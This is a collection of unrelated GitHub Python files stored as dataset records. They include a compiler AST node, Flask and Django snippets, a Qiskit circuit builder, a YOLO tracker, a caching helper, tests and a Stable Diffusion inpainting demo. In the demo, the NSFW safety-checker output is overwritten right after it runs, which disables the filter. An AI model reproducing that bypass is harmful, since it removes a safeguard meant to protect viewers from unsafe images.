dates","repo_name":"srisankethu/cowin-service","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1469513936","text":"import errors\nfrom Ast import Ast_Types\nfrom Ast.nodes import ASTNode, Block\n\n\nclass YieldStatement(ASTNode):\n __slots__ = (\"value\", )\n\n def __init__(self, pos, value):\n super().__init__(pos)\n self.value = value\n\n def fullfill_templates(self, func):\n self.value.fullfill_templates(func)\n\n def copy(self):\n return YieldStatement(self._position, self.value.copy())\n\n def post_parse(self, func):\n self.value.post_parse(func)\n if not func.yields:\n func.yields = True\n func.ret_type = Ast_Types.GeneratorType(func, func.ret_type)\n func.yield_gen_type = func.ret_type\n\n def pre_eval(self, func):\n self.value.pre_eval(func)\n\n if func.yield_type is None:\n func.yield_type = self.value.ret_type\n elif func.yield_type != self.value.ret_type:\n errors.error(\"Yielded value of type \" +\n f\"\\\"{str(self.value.ret_type)}\\\", expected \" +\n f\"\\\"{str(func.yield_type)}\\\"\",\n line=self.value.position)\n\n def eval_impl(self, func):\n orig_block_name = func.builder.block._name\n\n yield_after = func.builder.append_basic_block(\n f'{orig_block_name}.yield_after'\n )\n\n func.yield_after_blocks.append(yield_after)\n func.yield_gen_type.set_value(func, self.value.eval(func), yield_after)\n if not func.builder.block.is_terminated:\n func.builder.ret_void()\n func.builder.position_at_start(yield_after)\n","repo_name":"spidertyler2005/BCL","sub_path":"src/Ast/functions/yieldstatement.py","file_name":"yieldstatement.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"19051456070","text":"import configparser\nfrom colorama import Fore\n\"\"\"\nReads from the config(s) file(s)\n\"\"\"\nconf = configparser.ConfigParser()\n\n#Attempt to read from default settings\nconf.read_file(open(\"default.conf\", encoding=\"utf-8\"))\n\n#Attempt to read from instance configuration file\nf = conf.read(\"instance.conf\", encoding=\"utf-8\")\n\n#Read configuration and set it as local variable\nfor section in conf.sections():\n for key in conf[section]:\n locals()[key] = conf.get(section, key)\n\nprint(Fore.CYAN + \"[CONFIGURATION] : \" + Fore.RESET + \"configuration read, command prefix is %s\" % cmd_prefix)","repo_name":"TheBigBlase/raise-my-hand","sub_path":"rmh_conf.py","file_name":"rmh_conf.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"24116629404","text":"from flask import Flask\n\napp = Flask(__name__)\n\n\n@app.route('/max_number/')\ndef max_number(numbers):\n # Split the numbers string by the slash /\n numbers_list = numbers.split('/')\n try:\n numbers = [int(number) for number in numbers_list]\n max_num = max(numbers)\n return f\"Максимальное число: {max_num}\"\n except ValueError:\n return \"Неверный ввод: не все значения являются числами\"\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"MrFUZE/python_advanced","sub_path":"mod2/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1884129023","text":"from qiskit.aqua.operators import PauliTrotterEvolution, Suzuki\r\nfrom qiskit.circuit import Parameter\r\n\r\ndef set_trot_options(**kwargs):\r\n \r\n trot_options = {}\r\n \r\n if 'product_formula' in kwargs:\r\n trot_options['product_formula'] = kwargs['product_formula']\r\n else:\r\n trot_options['product_formula'] = 'lietrotter'\r\n \r\n if 'reps' in kwargs:\r\n trot_options['reps'] = kwargs['reps']\r\n else:\r\n trot_options['reps'] = 1\r\n \r\n if 'order' in kwargs:\r\n trot_options['order'] = kwargs['order']\r\n else:\r\n trot_options['order'] = 1\r\n\r\n return trot_options\r\n\r\ndef trotter_circuit(self):\r\n '''Creates time evolution circuit with time as free parameter \r\n according the method specified by self.trot_options'''\r\n \r\n evo_H = self.evo_H # this may be different from self.H\r\n evo_time = Parameter('t') # evolution time, to be set later\r\n self.evo_time = evo_time\r\n evo_op = (evo_time * evo_H).exp_i() # evolution operator\r\n \r\n if self.trot_options['product_formula'] == 'lietrotter':\r\n \r\n num_reps = self.trot_options['reps']\r\n \r\n trotterized_op = PauliTrotterEvolution(trotter_mode = 'trotter', reps = num_reps).convert(evo_op)\r\n qc = trotterized_op.to_circuit()\r\n \r\n elif self.trot_options['product_formula'] == 'suzuki':\r\n \r\n num_reps = self.trot_options['reps']\r\n order = self.trot_options['order']\r\n \r\n trotterized_op = PauliTrotterEvolution(trotter_mode = Suzuki(order = order, reps = num_reps)).convert(evo_op)\r\n qc = trotterized_op.to_circuit()\r\n \r\n return qc\r\n\r\ndef set_evo_time(self, time):\r\n \r\n qc = self.time_evolution_circuit # circuit with free 't' parameter\r\n qc.bind_parameters({self.evo_time: time}) # set 't' parameter to time\r\n \r\n return qc","repo_name":"diogo-cruz/QuGreen","sub_path":"qgfunctions/qg_evolution_trotter.py","file_name":"qg_evolution_trotter.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"9008596711","text":"from django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom core.settings import EMAIL_HOST_USER\n\n\ndef send_message(user_email, subject, text_content):\n html_content = render_to_string(\n 'email.html', {'text_content': text_content})\n msg = EmailMultiAlternatives(\n subject, text_content, EMAIL_HOST_USER, [user_email])\n msg.attach_alternative(html_content, 'text/html')\n msg.send()\n","repo_name":"Yzurgzd/museum","sub_path":"backend/heroes/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41419847279","text":"'''\r\n Escreva um programa para aprovar ou não o empréstimo bancário para a compra \r\nde uma casa. O programa vai perguntar o valor da casa, o salário do comprador e \r\nem quantos anos ele vai pagar. Calcule o valor da prestação mensal, sabendo que \r\nela não pode exceder 30% do salário ou então o empréstimo será negado.\r\n'''\r\n\r\nfrom funcoes import *\r\n\r\nvalorcasa = coringa('Valor da casa: ', float)\r\nsalario = coringa('Salario que voce recebe: ', float)\r\nanos = coringa('Quantos anos irá pagar: ', int)\r\n\r\n\r\nprestacao = valorcasa / (anos * 12)\r\n\r\nlimite = (valorcasa * 30) / 100\r\n\r\nif prestacao > limite:\r\n print('Compra recusada')\r\n \r\nelse:\r\n print('Compra aprovada') ","repo_name":"michaelsalmeida/lista_exercicios_python","sub_path":"ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29014826197","text":"import cv2\nimport os\nimport numpy as np\n\n# Load YOLOv8 model and classes\nnet = cv2.dnn.readNet(\"yolov3/yolov3.weights\", \"yolov3/yolov3.cfg\")\nclasses = []\nwith open(\"yolov3/coco.names\", \"r\") as f:\n classes = [line.strip() for line in f.readlines()]\n\n# Set up object tracker\ntracker = cv2.legacy.TrackerCSRT_create()\n\n# Directory containing image frames\ndata_dir = './AzureKinectRecord_30_05/1/azure_kinect1_2/color'\n\n# Initialize variables\nframe_count = 0\ntracked_objects = {}\n\n# Process each frame in the directory\nfor filename in sorted(os.listdir(data_dir)):\n frame_count += 1\n\n # Read frame\n frame = cv2.imread(os.path.join(data_dir, filename))\n\n # Object detection using YOLOv8\n blob = cv2.dnn.blobFromImage(frame, 1/255, (416, 416), swapRB=True, crop=False)\n net.setInput(blob)\n layer_names = net.getLayerNames()\n print(layer_names)\n print(cv2.__version__)\n output_layers = [layer_names[i - 1] for i in net.getUnconnectedOutLayers()]\n # output_layers = [layer_names[i[0] - 1] for i in net.getUnconnectedOutLayers()]\n outs = net.forward(output_layers)\n\n # Initialize variables for tracking\n boxes = []\n confidences = []\n class_ids = []\n\n # Process detection outputs\n for out in outs:\n for detection in out:\n scores = detection[5:]\n class_id = np.argmax(scores)\n confidence = scores[class_id]\n if confidence > 0.5 and classes[class_id] == 'person':\n # Calculate object bounding box\n center_x = int(detection[0] * frame.shape[1])\n center_y = int(detection[1] * frame.shape[0])\n width = int(detection[2] * frame.shape[1])\n height = int(detection[3] * frame.shape[0])\n left = int(center_x - width / 2)\n top = int(center_y - height / 2)\n\n # Store detected person details\n boxes.append([left, top, width, height])\n confidences.append(float(confidence))\n class_ids.append(class_id)\n\n # Perform object tracking\n for i in range(len(boxes)):\n if class_ids[i] == 0: # Check if the detected object is a person\n box = boxes[i]\n left, top, width, height = box\n\n # Initialize tracker for new person\n if box not in tracked_objects.values():\n tracker = cv2.legacy.TrackerCSRT_create()\n tracker.init(frame, tuple(box))\n tracked_objects[i] = box\n\n # Update existing trackers\n else:\n success, new_box = tracker.update(frame)\n if success:\n tracked_objects[i] = new_box\n\n # Draw bounding box\n cv2.rectangle(frame, (left, top), (left + width, top + height), (0, 255, 0), 2)\n\n # Display output\n cv2.imshow(\"Person Tracking\", frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# Release resources\ncv2.destroyAllWindows()\n","repo_name":"architmang/CFI-Project-Updates","sub_path":"object_tracker_yolo.py","file_name":"object_tracker_yolo.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40851057445","text":"\nimport sys\nimport functools\nif sys.version_info >= (3, 0):\n global cache_storage \n cache_storage = {}\nimport inspect\n\n# would be nice to have generic names, ie user could set the name of the global variable in his session\n# the global variable is only global in the current session, ie. you can't get to the data from a different terminal session for example\n# we could maybe use __file__ (ie. pass that in from the calling library, and then name the global variable by that?)\n# another idea is to clean out the cache once we recache a function when its signature changes (because then the old data is never used again anyway)\n\n\ndef extract_cache_data(cache_key, refresh):\n \"\"\"\n convenient wrapper\n if refresh true or nothing in cache, function doesn't return anything, and the wrapping function can continue running\n \"\"\"\n if not refresh:\n # pdb.set_trace()\n tmp = read_from_gp_cache(cache_key)\n if tmp.get('success', False):\n return tmp['rv']\n else:\n # obviously this isn't foolproof:\n return None\n\n\ndef check_storage():\n \n global cache_storage\n cache_storage = {}\n \n\ndef delete_from_cache(cache_key):\n if cache_key in cache_storage:\n del cache_storage[cache_key]\n else:\n print('Nothing to delete')\n\n\ndef read_from_gp_cache(cache_key, dump_all=False):\n \"\"\"\n the beautiful idea here is that we cache things in global variables. This is very useful in an ipython session, \n since then, even if you reload this library (eg. after adding new code), the global variables will stay untouched, so you \n don't need to recalculate them. You can burn through memory of course, but just be careful where you use it and you'll be fine.\n gp is for general purpose\n\n \"\"\"\n\n try:\n type(cache_storage)\n except:\n cache_storage()\n\n if dump_all:\n return cache_storage\n if cache_key in cache_storage:\n return {'success': True, 'rv': cache_storage[cache_key]}\n else:\n \n return {'success': False}\n\n \n\ndef current_storage():\n try:\n check_storage()\n \n\n except NameError:\n global cache_storage\n cache_storage = {}\n \n return cache_storage \n\n\ndef create_cache_key(args, func_name=None, **kwargs):\n \"\"\" prolly better with a nested structure, but for now, use a string key\n the purpose of the keyword args are this:\n typically you would use locals() for args, but then we can top up with any keyword we want (for example \n we pass in as_of_date=None, and then if it's set to None we use today's date, and in this way we get the function\n to update when we want it to, eg. when we call it next day)\n \"\"\"\n if func_name is None:\n func_name = current_function_name(2)\n path = func_name\n for key, el in args.items():\n if key not in ['refresh', 'session']:\n path += '|%s' % str(el)\n for value in kwargs.values():\n path += '|%s' % str(value) \n return path\n\n\ndef set_gp_cache(cache_key, cache_val, overwrite=False):\n \n if path_exists(cache_storage, cache_key) and (not overwrite):\n return None\n else:\n cache_storage[cache_key] = cache_val\n\n\ndef path_exists(dataDict, path):\n return not getFromDict(dataDict, path) is None\n\n\ndef getFromDict(dataDict, path, def_val=None):\n try:\n return functools.reduce(lambda d, k: d[k], path, dataDict)\n except (IndexError, KeyError):\n return def_val\n\n\ndef setInDict(dataDict, path, value):\n getFromDict(dataDict, path[:-1])[path[-1]] = value\n\n\ndef current_function_name(idx=1):\n\n # pdb.set_trace()\n failing = True\n\n while failing:\n try:\n rv = inspect.stack()[idx][3]\n failing = False\n except IndexError:\n failing = True\n print('Failing to read the function name!?')\n return rv","repo_name":"larssl780/thin_wrappers","sub_path":"thin_wrappers/session_based_caching.py","file_name":"session_based_caching.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7860214153","text":"\"\"\"django_frolov URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nimport debug_toolbar\n\nfrom django.contrib import admin\nfrom django.urls import include, path\n\nfrom .views import error_404, error_500\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include('django.contrib.auth.urls')),\n path('', include('accounts.urls')),\n path('', include('general.urls')),\n path('', include('students.urls')),\n path('', include('groups.urls')),\n path('', include('teachers.urls')),\n path('', include('contact_us.urls')),\n path('', include('currency.urls')),\n path('__debug__/', include(debug_toolbar.urls))\n]\n\nhandler404 = error_404\nhandler500 = error_500\n","repo_name":"MikeFrolov/django_frolov","sub_path":"django_frolov/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6664511990","text":"from django.urls import re_path\n\nfrom pages import views\n\nurlpatterns = [\n re_path(r'^$', views.index, name='index'),\n re_path(r'^about/$', views.about, name='about'),\n re_path(r'^mapbook/$', views.mapbook, name='mapbook'),\n re_path(r'^contact/$', views.contact, name='contact')\n]\n","repo_name":"stlim0730/farmview","sub_path":"pages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"25023385241","text":"# -*- coding: utf-8 -*-\nfrom StringIO import StringIO\nfrom mock import patch\nfrom flask import current_app, url_for\nfrom base import ClientTestCase\nfrom app import db\nfrom app.models import Item, Category\nimport app.main.views\n\n\nclass CreateItemIntegrationTestCase(ClientTestCase):\n\n def post_req_item_create(self, user, image=None):\n if image:\n image = (StringIO('contents'), image)\n\n with self.client as c:\n with c.session_transaction() as sess:\n sess['user_id'] = user.id\n sess['_fresh'] = True\n c = Category.get_category('soccer')\n return self.client.post(url_for('main.create'),\n data={\n 'name': 'soccer ball',\n 'description': 'plain ball',\n 'price': 234,\n 'category': c.id,\n 'image': image\n }, follow_redirects=True)\n\n @patch('app.main.views.save_item_image', return_value='image.jpg')\n def test_create_item(self, mock):\n '''verify an item can be correctly created\n 1. Go to the create an item's page\n 2. Field in the form with a happy case\n 3. Verify you are redirected to home page and the item is present\n '''\n u = self.create_user()\n resp = self.post_req_item_create(u, 'image.jpg')\n self.assertTrue('Your item has been created' in resp.data)\n self.assertTrue('plain ball' in resp.data)\n\n\n @patch('app.main.views.save_item_image', return_value=None)\n def test_create_item_image_problem(self, mock):\n '''verify an item will not be created if fails uploading the image\n 1. Go to the create an item's page\n 2. Field in the form with a happy case\n 3. Simulate error uploading image to S3 (mock return None)\n 4. Verify you are redirected to home page item was not created\n '''\n u = self.create_user()\n resp = self.post_req_item_create(u, 'image.jpg')\n self.assertTrue('Sorry, there was a problem creating your item.' in\n resp.data)\n self.assertFalse('plain ball' in resp.data)\n\n\n def test_create_item_without_image(self):\n '''verify an item can be correctly created without an image\n 1. Go to the create an item's page\n 2. Field in the form without selecting an image\n 3. Verify you are redirected to home page item and item was created\n with the default image\n '''\n u = self.create_user()\n resp = self.post_req_item_create(u)\n self.assertTrue(b'Your item has been created' in resp.data)\n self.assertTrue(current_app.config[\"DEFAULT_ITEM\"] in resp.data)\n","repo_name":"rosariomgomez/tradyfit","sub_path":"vagrant/tradyfit/tests/integration/test_create_item.py","file_name":"test_create_item.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"27814012832","text":"'''\nBilibiliDownloadTranscoding beta 1.2\n2019/11/20\nAluminiumOxide\n'''\n\nimport ffmpy3\nimport json\nimport os\ndiyopen = input(\"input openpath: \") #定制打开路径,不定义的话为当前路径\ndiysave = input(\"input savepath: \") #定制存储路径,不定义的话为当前路径\nif diyopen == '':\n diyopen = '.'\nif diysave == '':\n diysave = '.'\n\nfor dirlist in os.listdir(diyopen): #遍历当前目录里面所有文件\n if os.path.isdir(dirlist): #如果是文件夹,试着处理它\n print(dirlist)\n path =diyopen +'\\\\'+dirlist\n\n for i in os.listdir(path): #遍历文件夹下层目录,对每集视频进行处理\n\n layer1 = path+\"\\\\\"+i+\"\\\\\" #第一层目录-------\n if not os.path.exists(layer1+\"entry.json\"):\n break #假如没有entry.json则认为不是B站缓存,去下一个文件夹\n with open(layer1+\"entry.json\",'r',encoding='UTF-8') as f:\n data = json.load(f) #加载json文件\n title= data['title'] #提取 视频标题\n page = data['page_data']['page'] #提取 视频序号\n part = data['page_data']['part'] #提取 视频名称\n\n char_list = ['*', '|', ':', '?', '/', '<', '>', '\"', '\\\\']\n news_title = title\n for code in char_list:\n if code in title:\n news_title = title.replace(code, \"_\") #防止标题出问题统一改一下\n\n print(news_title+' > '+str(page)+' '+part) #打印信息\n\n layer2= layer1+\"64\\\\\" #第二层目录-------\n audio = layer2 + \"audio.m4s\" #对应音频\n video = layer2 + \"video.m4s\" #对应视频\n dir = diysave+\"\\\\\"+news_title #储存目录 ---待扩展\n combine = dir +\"\\\\\"+part+\".mp4\" #储存文件 ---待扩展\n\n if not os.path.exists(dir): #确认目录存在,没有则创建\n print(dir)\n\n os.makedirs(dir)\n # print('创建文件夹: ' + dir.split(\"\\\\\",1)[1])\n\n if os.path.exists(combine): #确认文件存在,若有则跳过\n continue\n\n ff = ffmpy3.FFmpeg( #FFmpeg合成音视频\n inputs={video : None,audio : None},\n outputs = {combine : None}\n )\n ff.run()\n\n","repo_name":"AluminiumOxide/BilibiliDownloadTranscoding","sub_path":"BilibiliDownloadTranscoding.py","file_name":"BilibiliDownloadTranscoding.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"17776786168","text":"import argparse, os, sys, glob\nimport cv2\nimport torch\nimport numpy as np\nfrom omegaconf import OmegaConf\nfrom PIL import Image\nfrom tqdm import tqdm, trange\nfrom imwatermark import WatermarkEncoder\nfrom itertools import islice\nfrom einops import rearrange\nfrom torchvision.utils import make_grid\nimport time\nfrom pytorch_lightning import seed_everything\nfrom torch import autocast\nfrom contextlib import contextmanager, nullcontext\nimport torchvision\nfrom ldm.util import instantiate_from_config\nfrom ldm.models.diffusion.ddim import DDIMSampler\nfrom ldm.models.diffusion.plms import PLMSSampler\nimport gradio as gr\nfrom diffusers.pipelines.stable_diffusion.safety_checker import StableDiffusionSafetyChecker\nfrom transformers import AutoFeatureExtractor\nimport clip\nfrom torchvision.transforms import Resize\nwm = \"Paint-by-Example\"\nwm_encoder = WatermarkEncoder()\nwm_encoder.set_watermark('bytes', wm.encode('utf-8'))\nsafety_model_id = \"CompVis/stable-diffusion-safety-checker\"\nsafety_feature_extractor = AutoFeatureExtractor.from_pretrained(safety_model_id)\nsafety_checker = StableDiffusionSafetyChecker.from_pretrained(safety_model_id)\n\ndef chunk(it, size):\n it = iter(it)\n return iter(lambda: tuple(islice(it, size)), ())\n\ndef get_tensor_clip(normalize=True, toTensor=True):\n transform_list = []\n if toTensor:\n transform_list += [torchvision.transforms.ToTensor()]\n\n if normalize:\n transform_list += [torchvision.transforms.Normalize((0.48145466, 0.4578275, 0.40821073),\n (0.26862954, 0.26130258, 0.27577711))]\n return torchvision.transforms.Compose(transform_list)\n\ndef numpy_to_pil(images):\n \"\"\"\n Convert a numpy image or a batch of images to a PIL image.\n \"\"\"\n if images.ndim == 3:\n images = images[None, ...]\n images = (images * 255).round().astype(\"uint8\")\n pil_images = [Image.fromarray(image) for image in images]\n\n return pil_images\n\n\ndef load_model_from_config(config, ckpt, verbose=False):\n print(f\"Loading model from {ckpt}\")\n pl_sd = torch.load(ckpt, map_location=\"cpu\")\n if \"global_step\" in pl_sd:\n print(f\"Global Step: {pl_sd['global_step']}\")\n sd = pl_sd[\"state_dict\"]\n model = instantiate_from_config(config.model)\n m, u = model.load_state_dict(sd, strict=False)\n if len(m) > 0 and verbose:\n print(\"missing keys:\")\n print(m)\n if len(u) > 0 and verbose:\n print(\"unexpected keys:\")\n print(u)\n\n model.cuda()\n model.eval()\n return model\n\n\ndef put_watermark(img, wm_encoder=None):\n if wm_encoder is not None:\n img = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR)\n img = wm_encoder.encode(img, 'dwtDct')\n img = Image.fromarray(img[:, :, ::-1])\n return img\n\n\ndef load_replacement(x):\n try:\n hwc = x.shape\n y = Image.open(\"assets/rick.jpeg\").convert(\"RGB\").resize((hwc[1], hwc[0]))\n y = (np.array(y)/255.0).astype(x.dtype)\n assert y.shape == x.shape\n return y\n except Exception:\n return x\n\n\ndef check_safety(x_image):\n safety_checker_input = safety_feature_extractor(numpy_to_pil(x_image), return_tensors=\"pt\")\n x_checked_image, has_nsfw_concept = safety_checker(images=x_image, clip_input=safety_checker_input.pixel_values)\n assert x_checked_image.shape[0] == len(has_nsfw_concept)\n for i in range(len(has_nsfw_concept)):\n if has_nsfw_concept[i]:\n x_checked_image[i] = load_replacement(x_checked_image[i])\n return x_checked_image, has_nsfw_concept\n\ndef get_tensor(normalize=True, toTensor=True):\n transform_list = []\n if toTensor:\n transform_list += [torchvision.transforms.ToTensor()]\n\n if normalize:\n transform_list += [torchvision.transforms.Normalize((0.5, 0.5, 0.5),\n (0.5, 0.5, 0.5))]\n return torchvision.transforms.Compose(transform_list)\n\ndef get_tensor_clip(normalize=True, toTensor=True):\n transform_list = []\n if toTensor:\n transform_list += [torchvision.transforms.ToTensor()]\n\n if normalize:\n transform_list += [torchvision.transforms.Normalize((0.48145466, 0.4578275, 0.40821073),\n (0.26862954, 0.26130258, 0.27577711))]\n return torchvision.transforms.Compose(transform_list)\n\n\ndef inference(opt, model, sampler, device, image_mask, refer, scale):\n start_code = None\n if opt.fixed_code:\n start_code = torch.randn([opt.n_samples, opt.C, opt.H // opt.f, opt.W // opt.f], device=device)\n\n image = image_mask[\"image\"].convert(\"RGB\")\n mask = image_mask[\"mask\"].convert(\"RGB\")\n precision_scope = autocast if opt.precision==\"autocast\" else nullcontext\n with torch.no_grad():\n with precision_scope(\"cuda\"):\n with model.ema_scope():\n img_p = image\n image_tensor = get_tensor()(img_p)\n image_tensor = image_tensor.unsqueeze(0)\n ref_p = refer.resize((224,224))\n ref_tensor=get_tensor_clip()(ref_p)\n ref_tensor = ref_tensor.unsqueeze(0)\n mask = mask\n mask = np.array(mask)[None,None]\n mask = 1 - mask.astype(np.float32) / 255.0\n mask[mask < 0.5] = 0\n mask[mask >= 0.5] = 1\n mask_tensor = torch.from_numpy(mask)\n inpaint_image = image_tensor * mask_tensor\n test_model_kwargs={}\n test_model_kwargs['inpaint_mask']=mask_tensor.to(device)\n test_model_kwargs['inpaint_image']=inpaint_image.to(device)\n ref_tensor=ref_tensor.to(device)\n uc = None\n if scale != 1.0:\n uc = model.learnable_vector\n c = model.get_learned_conditioning(ref_tensor.to(torch.float16))\n c = model.proj_out(c)\n inpaint_mask=test_model_kwargs['inpaint_mask']\n z_inpaint = model.encode_first_stage(test_model_kwargs['inpaint_image'])\n z_inpaint = model.get_first_stage_encoding(z_inpaint).detach()\n test_model_kwargs['inpaint_image']=z_inpaint\n test_model_kwargs['inpaint_mask']=Resize([z_inpaint.shape[-2],z_inpaint.shape[-1]])(test_model_kwargs['inpaint_mask'])\n\n shape = [opt.C, opt.H // opt.f, opt.W // opt.f]\n samples_ddim, _ = sampler.sample(S=opt.ddim_steps,\n conditioning=c,\n batch_size=opt.n_samples,\n shape=shape,\n verbose=False,\n unconditional_guidance_scale=scale,\n unconditional_conditioning=uc,\n eta=opt.ddim_eta,\n x_T=start_code,\n test_model_kwargs=test_model_kwargs)\n\n x_samples_ddim = model.decode_first_stage(samples_ddim)\n x_samples_ddim = torch.clamp((x_samples_ddim + 1.0) / 2.0, min=0.0, max=1.0)\n x_samples_ddim = x_samples_ddim.cpu().permute(0, 2, 3, 1).numpy()\n\n x_checked_image, has_nsfw_concept = check_safety(x_samples_ddim)\n x_checked_image=x_samples_ddim\n x_checked_image_torch = torch.from_numpy(x_checked_image).permute(0, 3, 1, 2)\n\n all_images = []\n for i, x_sample in enumerate(x_checked_image_torch):\n x_sample = 255. * rearrange(x_sample, 'c h w -> h w c').cpu().numpy()\n x_sample = Image.fromarray(x_sample.astype(np.uint8))\n all_images.append(x_sample)\n return all_images\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"--outdir\",\n type=str,\n nargs=\"?\",\n help=\"dir to write results to\",\n default=\"outputs/txt2img-samples\"\n )\n parser.add_argument(\n \"--skip_grid\",\n action='store_true',\n help=\"do not save a grid, only individual samples. Helpful when evaluating lots of samples\",\n )\n parser.add_argument(\n \"--skip_save\",\n action='store_true',\n help=\"do not save individual samples. For speed measurements.\",\n )\n parser.add_argument(\n \"--ddim_steps\",\n type=int,\n default=30,\n help=\"number of ddim sampling steps\",\n )\n parser.add_argument(\n \"--plms\",\n action='store_true',\n help=\"use plms sampling\",\n )\n parser.add_argument(\n \"--fixed_code\",\n action='store_true',\n help=\"if enabled, uses the same starting code across samples \",\n )\n parser.add_argument(\n \"--ddim_eta\",\n type=float,\n default=0.0,\n help=\"ddim eta (eta=0.0 corresponds to deterministic sampling\",\n )\n parser.add_argument(\n \"--n_iter\",\n type=int,\n default=2,\n help=\"sample this often\",\n )\n parser.add_argument(\n \"--H\",\n type=int,\n default=512,\n help=\"image height, in pixel space\",\n )\n parser.add_argument(\n \"--W\",\n type=int,\n default=512,\n help=\"image width, in pixel space\",\n )\n parser.add_argument(\n \"--n_imgs\",\n type=int,\n default=100,\n help=\"image width, in pixel space\",\n )\n parser.add_argument(\n \"--C\",\n type=int,\n default=4,\n help=\"latent channels\",\n )\n parser.add_argument(\n \"--f\",\n type=int,\n default=8,\n help=\"downsampling factor\",\n )\n parser.add_argument(\n \"--n_samples\",\n type=int,\n default=1,\n help=\"how many samples to produce for each given reference image. A.k.a. batch size\",\n )\n parser.add_argument(\n \"--n_rows\",\n type=int,\n default=0,\n help=\"rows in the grid (default: n_samples)\",\n )\n parser.add_argument(\n \"--config\",\n type=str,\n default=\"\",\n help=\"path to config which constructs model\",\n )\n parser.add_argument(\n \"--ckpt\",\n type=str,\n default=\"\",\n help=\"path to checkpoint of model\",\n )\n parser.add_argument(\n \"--seed\",\n type=int,\n default=42,\n help=\"the seed (for reproducible sampling)\",\n )\n parser.add_argument(\n \"--precision\",\n type=str,\n help=\"evaluate at this precision\",\n choices=[\"full\", \"autocast\"],\n default=\"autocast\"\n )\n opt = parser.parse_args()\n\n\n seed_everything(opt.seed)\n\n config = OmegaConf.load(f\"{opt.config}\")\n model = load_model_from_config(config, f\"{opt.ckpt}\")\n\n device = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n model = model.to(device)\n\n if opt.plms:\n sampler = PLMSSampler(model)\n else:\n sampler = DDIMSampler(model)\n\n block = gr.Blocks().queue()\n with block:\n with gr.Row():\n gr.Markdown(\"## Stable Diffusion Inpainting\")\n\n with gr.Row():\n with gr.Column():\n image_mask = gr.Image(source='upload', tool='sketch', type=\"pil\")\n refer = gr.Image(source='upload', type=\"pil\")\n # prompt = gr.Textbox(label=\"Prompt\")\n run_button = gr.Button(label=\"Run\")\n with gr.Accordion(\"Advanced options\", open=False):\n num_samples = gr.Slider(\n label=\"Images\", minimum=1, maximum=4, value=4, step=1)\n ddim_steps = gr.Slider(label=\"Steps\", minimum=1, maximum=50, value=45, step=1)\n scale = gr.Slider(\n label=\"Guidance Scale\", minimum=0.1, maximum=30.0, value=5, step=0.1\n )\n seed = gr.Slider(\n label=\"Seed\",\n minimum=0,\n maximum=2147483647,\n step=1,\n randomize=True,\n )\n with gr.Column():\n gallery = gr.Gallery(label=\"Generated images\", show_label=False).style(\n grid=[2], height=\"auto\")\n \n run_button.click(fn=inference, inputs=[opt, model, sampler, device, image_mask, refer, scale], outputs=[gallery])\n\n block.launch()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"KaerMorh/try-on-diffusion","sub_path":"scripts/gradio/img2img_inpainting.py","file_name":"img2img_inpainting.py","file_ext":"py","file_size_in_byte":12612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13612055617","text":"import logging\nimport os\nfrom distutils.dir_util import remove_tree\nfrom typing import List\n\nfrom setuptools import Command, setup\n\nlogger = logging.getLogger(__name__)\n\n\nclass CleanCommand(Command):\n \"\"\"Command to clean up python api before setup by running `python setup.py pre_clean`.\"\"\"\n\n description = \"Clean up project root\"\n user_options: List[str] = []\n clean_list = [\n \"build\",\n \"htmlcov\",\n \"dist\",\n \".pytest_cache\",\n \".coverage\",\n ]\n\n def initialize_options(self) -> None:\n \"\"\"Set default values for options.\"\"\"\n\n def finalize_options(self) -> None:\n 